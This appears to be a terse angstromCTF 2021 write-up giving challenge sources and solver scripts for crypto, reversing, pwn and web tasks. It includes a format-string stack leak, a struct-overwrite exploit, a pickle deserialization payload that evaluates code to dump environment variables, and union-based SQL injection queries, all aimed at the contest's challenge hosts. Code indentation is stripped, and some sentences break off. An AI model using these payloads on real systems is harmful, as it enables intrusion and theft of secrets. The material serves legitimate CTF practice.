Notes about this CTF will be super brief since there's so many challenges and I don't have the patience to writeup all of them. If you really have trouble understanding though, I promise to work with you at luconfident#3198 on Discord as long as you contact me before May 2021
We are given all the variables, n, p, q, e, and c in RSA. So decrypting the message is straightforward.
cipher = bytes.fromhex("ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d218227e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c")
for i in range(len(cipher) - 5):
key = b"".join(bytes([x ^ y]) for x, y in zip(cipher[i: i+5], b"actf{"))
j = i%5
if i % 5 != 0:
key = key[-j%5: 5] + key[: -j%5]
plain = b""
for j, c in enumerate(cipher):
plain += bytes([c ^ key[j % 5]])
print(plain)
import string
with open("key.txt", "r") as f:
shift = int(f.readline())
key = f.readline()
with open("flag.txt", "r") as f:
flag = f.read()
stdalph = string.ascii_lowercase
rkey = ""
for i in key:
if i not in rkey:
rkey += i
for i in stdalph:
if i not in rkey:
rkey += i
rkey = rkey[-shift:] + rkey[:-shift]
enc = ""
for a in flag:
if a in stdalph:
enc += rkey[stdalph.index(a)]
else:
enc += a
print(enc)
Solved with https://www.boxentriq.com/code-breaking/cryptogram
Solved when applying Wiener's attack because
#!/usr/bin/python
import binascii
from random import choice
class Cipher:
BLOCK_SIZE = 16
ROUNDS = 3
def __init__(self, key):
assert(len(key) == self.BLOCK_SIZE*self.ROUNDS)
self.key = key
def __block_encrypt(self, block):
enc = int.from_bytes(block, "big")
for i in range(self.ROUNDS):
k = int.from_bytes(self.key[i*self.BLOCK_SIZE:(i+1)*self.BLOCK_SIZE], "big")
enc &= k
enc ^= k
return hex(enc)[2:].rjust(self.BLOCK_SIZE*2, "0")
def __pad(self, msg):
if len(msg) % self.BLOCK_SIZE != 0:
return msg + (bytes([0]) * (self.BLOCK_SIZE - (len(msg) % self.BLOCK_SIZE)))
else:
return msg
def encrypt(self, msg):
m = self.__pad(msg)
e = ""
for i in range(0, len(m), self.BLOCK_SIZE):
e += self.__block_encrypt(m[i:i+self.BLOCK_SIZE])
return e.encode()
key = binascii.unhexlify("".join([choice(list("abcdef0123456789")) for a in range(Cipher.BLOCK_SIZE*Cipher.ROUNDS*2)]))
with open("flag", "rb") as f:
flag = f.read()
cipher = Cipher(key)
while True:
a = input("Would you like to encrypt [1], or try encrypting [2]? ")
if a == "1":
p = input("What would you like to encrypt: ")
try:
print(cipher.encrypt(binascii.unhexlify(p)).decode())
except:
print("Invalid input. ")
elif a == "2":
for i in range(10):
p = "".join([choice(list("abcdef0123456789")) for a in range(64)])
print("Encrypt this:", p)
e = cipher.encrypt(binascii.unhexlify(p)).decode()
c = input()
if e != c:
print("L")
print(e)
print(c)
print(bin(e))
print(bin(c))
exit()
print("W")
print(flag.decode())
elif a.lower() == "quit":
print("Bye")
exit()
else:
print("Invalid input. ")
print("0"*64)
zero = int(str(input()), 16)
print(zero)
zero = bin(zero)[2:].zfill(256)
print("f"*64)
one = int(str(input()), 16)
print(one)
one = bin(one)[2:].zfill(256)
for _ in range(10):
p = int(str(input()), 16)
c = ""
p = bin(p)[2:].zfill(256)
for i, b in enumerate(p):
if b == "0":
c += zero[i]
else:
c += one[i]
print(hex(int(c, 2)))
import os
import zlib
def keystream():
key = os.urandom(2)
index = 0
while 1:
index+=1
if index >= len(key):
key += zlib.crc32(key).to_bytes(4,'big')
yield key[index]
ciphertext = []
with open("plain","rb") as f:
plain = f.read()
assert b"actf{" in plain
k = keystream()
for i in plain:
ciphertext.append(i ^ next(k))
with open("enc","wb") as g:
g.write(bytes(ciphertext))
import os
import zlib
from Crypto.Util.number import *
def keystream(a):
key = long_to_bytes(a)
index = 0
while 1:
index+=1
if index >= len(key):
key += zlib.crc32(key).to_bytes(4,'big')
yield key[index]
ciphertext = open("enc","rb").read()
for i in range(65536):
k = keystream(i)
plaintext = b""
for c in ciphertext:
plaintext += bytes([c ^ next(k)])
if not i:
print(plaintext)
if b"actf{" in plaintext:
print(plaintext)
import time
import random
import os
class Generator():
DIGITS = 8
def __init__(self, seed):
self.seed = seed
assert(len(str(self.seed)) == self.DIGITS)
def getNum(self):
self.seed = int(str(self.seed**2).rjust(self.DIGITS*2, "0")[self.DIGITS//2:self.DIGITS + self.DIGITS//2])
return self.seed
r1 = Generator(random.randint(10000000, 99999999))
r2 = Generator(random.randint(10000000, 99999999))
query_counter = 0
while True:
query = input("Would you like to get a random output [r], or guess the next random number [g]? ")
if query.lower() not in ["r", "g"]:
print("Invalid input.")
break
else:
if query.lower() == "r" and query_counter < 3:
print(r1.getNum() * r2.getNum())
query_counter += 1;
elif query_counter >= 3 and query.lower() == "r":
print("You don't get more random numbers!")
else:
for i in range(2):
guess = int(input("What is your guess to the next value generated? "))
if guess != r1.getNum() * r2.getNum():
print("Incorrect!")
exit()
with open("flag", "r") as f:
fleg = f.read()
print("Congrats! Here's your flag: ")
print(fleg)
exit()
sol.sage
n = int(input("first: "))
cand = []
n_div = list(divisors(n))
for div in n_div:
pair = (div, n//div)
if pair[0] >= 10**6 and pair[0] <= 10**9 and pair[1] >= 10**6 and pair[1] <= 10**9:
if pair[::-1] not in cand:
cand.append(pair)
def transform(a):
return int(str(a**2).rjust(16, "0")[4:12])
for i in range(len(cand)):
cand[i] = (transform(cand[i][0]), transform(cand[i][1]))
n = int(input("second: "))
print("n", n)
for i, c in enumerate(cand):
print(c[0] * c[1])
print(c[0] * c[1] == n)
if c[0] * c[1] == n:
cand[i] = (transform(cand[i][0]), transform(cand[i][1]))
print(cand[i])
cand[i] = (transform(cand[i][0]), transform(cand[i][1]))
print(cand[i])
import random
import secrets
import math
from decimal import Decimal, getcontext
from Crypto.Cipher import AES
BOUND = 2 ** 128
MULT = 10 ** 10
getcontext().prec = 50
def nums(a):
b = Decimal(random.randint(-a * MULT, a * MULT)) / MULT
c = (a ** 2 - b ** 2).sqrt()
if random.randrange(2):
c *= -1
return (b, c)
with open("flag", "r") as f:
flag = f.read().strip().encode("utf8")
diff = len(flag) % 16
if diff:
flag += b"\x00" * (16 - diff)
keynum = secrets.randbits(128)
ivnum = secrets.randbits(128)
print("key=", keynum)
print("iv=", ivnum)
key = int.to_bytes(keynum, 16, "big")
iv = int.to_bytes(ivnum, 16, "big")
x = Decimal(random.randint(1, BOUND * MULT)) / MULT
for _ in range(3):
(a, b) = nums(x)
print(f"({keynum + a}, {ivnum + b})")
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
enc = cipher.encrypt(flag)
print(enc.hex())
sol.sage
from Crypto.Cipher import AES
x1, y1 = (45702021340126875800050711292004769456.2582161398, 310206344424042763368205389299416142157.00357571144)
x2, y2 = (55221733168602409780894163074078708423.359152279, 347884965613808962474866448418347671739.70270575362)
x3, y3 = (14782966793385517905459300160069667177.5906950984, 340240003941651543345074540559426291101.69490484699)
enc = bytes.fromhex("838371cd89ad72662eea41f79cb481c9bb5d6fa33a6808ce954441a2990261decadf3c62221d4df514841e18c0b47a76")
M = Matrix([
[2*y1 - 2*y2, 2*x1 - 2*x2],
[2*y1 - 2*y3, 2*x1 - 2*x3]
])
b = vector([
(y1^2-y2^2) - (x2^2-x1^2),
(y1^2-y3^2) - (x3^2-x1^2)
])
ans = M.solve_right(b)
iv = int(ans[0])
k = int(ans[1])
print("key =", k)
print("iv =", iv)
key = int.to_bytes(k, 16, "big")
iv = int.to_bytes(iv, 16, "big")
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
dec = cipher.decrypt(enc)
print(dec)
#!/usr/bin/python3
from functools import reduce
with open("flag", "r") as f:
key = [ord(x) for x in f.read().strip()]
def substitute(value):
return (reduce(lambda x, y: x*value+y, key))%691
print("Enter a number and it will be returned with our super secret synthetic substitution technique")
while True:
try:
value = input("> ")
if value == 'quit':
quit()
value = int(value)
enc = substitute(value)
print(">> ", end="")
print(enc)
except ValueError:
print("Invalid input. ")
sol.sage
import os
os.environ['TERM'] = 'linux'
from pwn import *
def get(n):
global r
r.sendline(str(n))
return int(r.recv(4096).replace(b'>> ', b'').replace(b'\n> ', b'').decode())
R = IntegerModRing(691)
# r = process('./chall.py')
r = remote("crypto.2021.chall.actf.co", "21601")
r.recv(4096)
rhs = []
for i in range(1, 150):
rhs.append(get(i))
lhs = []
for j in range(1, i+1):
lhs.append(
[pow(j, k, 691) for k in range(i-1, -1, -1)]
)
M = Matrix(R, lhs)
b = vector(R, rhs)
ans = M.solve_right(b)
if ans[0] == 97 and ans[1] == 99:
print("".join(chr(a) for a in ans))
break
#!/usr/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
key = os.urandom(32)
flag = open("flag","rb").read()
while 1:
try:
i = bytes.fromhex(input("give input: "))
if not i:
break
except:
break
iv = os.urandom(16)
inp = i.replace(b"{}", flag)
if len(inp) % 16:
inp = pad(inp, 16)
print(
AES.new(key, AES.MODE_CBC, iv=iv).decrypt(inp).hex()
)
from pwn import *
from binascii import hexlify, unhexlify
# r = process("./server.py")
r = remote('crypto.2021.chall.actf.co', '21112')
r.recv(4096)
r.sendline(hexlify(b"{}").decode())
x = len(r.recvline().replace(b'give input: ', b''))
for i in range(1, 18):
r.sendline("00" * i + hexlify(b"{}").decode())
if len(r.recvline().replace(b'give input: ', b'')) != x:
offset = i - 1
break
print('offset', offset)
blocks = x // 32
print('blocks', blocks)
r.sendline("00" * 32 + "00" * offset + hexlify(b"{}").decode() + "00" * 16)
data = bytes.fromhex(r.recvline().replace(b'give input: ', b'').strip().decode())
r.recv(4096)
last = xor(data[16:32], data[-16:])
r.sendline("00" * 16 + binascii.hexlify(last).decode() + "00" * offset + hexlify(b"{}").decode())
data = bytes.fromhex(r.recvline().replace(b'give input: ', b'').strip().decode())
second_last = xor(data[16:32], data[-16:])
print(second_last + last)
We have a "corrupted" zip file that contains a file that has an attribute date < 1920. To view the contents of the file without unzipping it, I opened it in vim and pressed enter on the corresponding file name.
I used StegSolve.
float_on.c
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
#define DO_STAGE(num, cond) do {\
printf("Stage " #num ": ");\
scanf("%lu", &converter.uint);\
x = converter.dbl;\
if(cond) {\
puts("Stage " #num " passed!");\
} else {\
puts("Stage " #num " failed!");\
return num;\
}\
} while(0);
void print_flag() {
FILE* flagfile = fopen("flag.txt", "r");
if (flagfile == NULL) {
puts("Couldn't find a flag file.");
return;
}
char flag[128];
fgets(flag, 128, flagfile);
flag[strcspn(flag, "\n")] = '\x00';
puts(flag);
}
union cast {
uint64_t uint;
double dbl;
};
int main(void) {
union cast converter;
double x;
DO_STAGE(1, x == -x);
DO_STAGE(2, x != x);
DO_STAGE(3, x + 1 == x && x * 2 == x);
DO_STAGE(4, x + 1 == x && x * 2 != x);
DO_STAGE(5, (1 + x) - 1 != 1 + (x - 1));
print_flag();
return 0;
}
Lol, it is not possible for
Opened the problem in Ghidra, had it decompile the code for me; solved very easily after that.
Opened the problem in Ghidra, had it decompile the code. Viewed binary in a graph view, as the code contained a lot of if-else statements.
Found an array of "acceptable" responses to the binary by setting breakpoints in gdb. Unfortunately they were not located in memory; they were dynamically generated by a function so I had to use gdb. However, gdb would interrupt in the midst of a read call; after typing a few fin
's, which would resume execution to the end of a function, I would be able to interrupt calls to FUN0x...150
, replace rdi with whatever response we wanted, and trace responses to the flag execution path.
from pwn import *
#r = process('./jailbreak')
r = remote('shell.actf.co', '21701')
print(r.recv(4096))
r.sendline('pick the snake up')
print(r.recv(4096))
r.sendline('throw the snake at kmh')
print(r.recv(4096))
r.sendline('pry the bars open')
print(r.recv(4096))
i = 0
for b in bin(1337)[3:]:
r.sendline('look around')
print(r.recv(4096))
if b == "0":
r.sendline('press the red button')
i *= 2
else:
r.sendline('press the green button')
i = i*2 + 1
print(r.recv(4096))
print(i)
r.sendline('bananarama')
r.interactive()
I solved the first five challenges but I did the first three so quickly without writing any notes or code that I cannot find how I did them. If you try the entry sequences to pwnable.kr, you should find similar problems. Here's solutions to the last two.
This is a format string attack in which I printed pointers on the stack.
from pwn import *
from binascii import unhexlify
d = b""
# https://www.tutorialspoint.com/format-specifiers-in-c
for i in range(33, 43):
r = remote('shell.actf.co', '21820')
# r = process('./stickystacks')
r.sendline(f'%{i}$p')
d += unhexlify(
r.recv(4096).replace(b'\n', b'').replace(b'Name: ', b'').replace(b'Welcome, ', b'')
.replace(b'0x', b'').zfill(16)
)[::-1]
r.close()
print(d)
challenge.cpp
#include <iostream>
#include <fstream>
#include <string>
using namespace std;
ifstream flag("flag.txt");
struct character {
int health;
int skill;
long tokens;
string name;
};
void play() {
string action;
character player;
cout << "Enter your name: " << flush;
getline(cin, player.name);
cout << "Welcome, " << player.name << ". Skill level: " << player.skill << endl;
while (true) {
cout << "\n1. Power up" << endl;
cout << "2. Fight for the flag" << endl;
cout << "3. Exit game\n" << endl;
cout << "What would you like to do? " << flush;
cin >> action;
cin.ignore();
if (action == "1") {
cout << "Power up requires shadow tokens, available via in app purchase." << endl;
} else if (action == "2") {
if (player.skill < 1337) {
cout << "You flail your arms wildly, but it is no match for the flag guardian. Raid failed." << endl;
} else if (player.skill > 1337) {
cout << "The flag guardian quickly succumbs to your overwhelming power. But the flag was destroyed in the frenzy!" << endl;
} else {
cout << "It's a tough battle, but you emerge victorious. The flag has been recovered successfully: " << flag.rdbuf() << endl;
}
} else if (action == "3") {
return;
}
}
}
void terms_and_conditions() {
string agreement;
string signature;
cout << "\nRAIId Shadow Legends is owned and operated by Working Group 21, Inc. ";
cout << "As a subsidiary of the International Organization for Standardization, ";
cout << "we reserve the right to standardize and/or destandardize any gameplay ";
cout << "elements that are deemed fraudulent, unnecessary, beneficial to the ";
cout << "player, or otherwise undesirable in our authoritarian society where ";
cout << "social capital has been eradicated and money is the only source of ";
cout << "power, legal or otherwise.\n" << endl;
cout << "Do you agree to the terms and conditions? " << flush;
cin >> agreement;
cin.ignore();
while (agreement != "yes") {
cout << "Do you agree to the terms and conditions? " << flush;
cin >> agreement;
cin.ignore();
}
cout << "Sign here: " << flush;
getline(cin, signature);
}
int main() {
cout << "Welcome to RAIId Shadow Legends!" << endl;
while (true) {
cout << "\n1. Start game" << endl;
cout << "2. Purchase shadow tokens\n" << endl;
cout << "What would you like to do? " << flush;
string action;
cin >> action;
cin.ignore();
if (action == "1") {
terms_and_conditions();
play();
} else if (action == "2") {
cout << "Please mail a check to RAIId Shadow Legends Headquarters, 1337 Leet Street, 31337." << endl;
}
}
}
Viewing every single variable's memory location where I'm allowed input, I find that the agreement variable in terms_and_conditions can affect the player struct in the play function.
from pwn import *
# r = process('./raiid_shadow_legends')
r = remote('shell.actf.co', '21300')
r.recv(4096)
r.sendline('1')
r.recv(4096)
r.sendline(b'\x00'*4 + b'\x39\x05\x00\x00')
r.recv(4096)
r.sendline('yes')
r.recv(4096)
r.interactive()
from flask import Flask, send_file, request, make_response, redirect
import random
import os
app = Flask(__name__)
import pickle
import base64
flag = os.environ.get('FLAG', 'actf{FAKE_FLAG}')
@app.route('/pickle.jpg')
def bg():
return send_file('pickle.jpg')
@app.route('/')
def jar():
contents = request.cookies.get('contents')
if contents: items = pickle.loads(base64.b64decode(contents))
else: items = []
return '<form method="post" action="/add" style="text-align: center; width: 100%"><input type="text" name="item" placeholder="Item"><button>Add Item</button><img style="width: 100%; height: 100%" src="/pickle.jpg">' + \
''.join(f'<div style="background-color: white; font-size: 3em; position: absolute; top: {random.random()*100}%; left: {random.random()*100}%;">{item}</div>' for item in items)
@app.route('/add', methods=['POST'])
def add():
contents = request.cookies.get('contents')
if contents: items = pickle.loads(base64.b64decode(contents))
else: items = []
items.append(request.form['item'])
response = make_response(redirect('/'))
response.set_cookie('contents', base64.b64encode(pickle.dumps(items)))
return response
app.run(threaded=True, host="0.0.0.0")
This is a Pickle Deserialization vulnerability. We can leak all environmental variables with this sneaky call to eval.
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return eval, ("str(os.environ)", )
if __name__ == '__main__':
pickled = pickle.dumps([RCE()])
print(base64.urlsafe_b64encode(pickled))
app.rb
require 'sinatra'
require 'sqlite3'
set :bind, "0.0.0.0"
set :port, 4567
get '/' do
db = SQLite3::Database.new "quills.db"
@row = db.execute( "select * from quills" )
erb :index
end
get '/quills' do
erb :quills
end
post '/quills' do
db = SQLite3::Database.new "quills.db"
cols = params[:cols]
lim = params[:limit]
off = params[:offset]
blacklist = ["-", "/", ";", "'", "\""]
blacklist.each { |word|
if cols.include? word
return "beep boop sqli detected!"
end
}
if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
return "bad, no quills for you!"
end
@row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])
p @row
erb :specific
end
I got another table in the database via the SQL query select group_concat(tbl_name) from sqlite_master union select name from company limit 1 offset 1;
, flagtable. Finally I used select * from flagtable union select url from company limit 1 offset 1
to get the flag.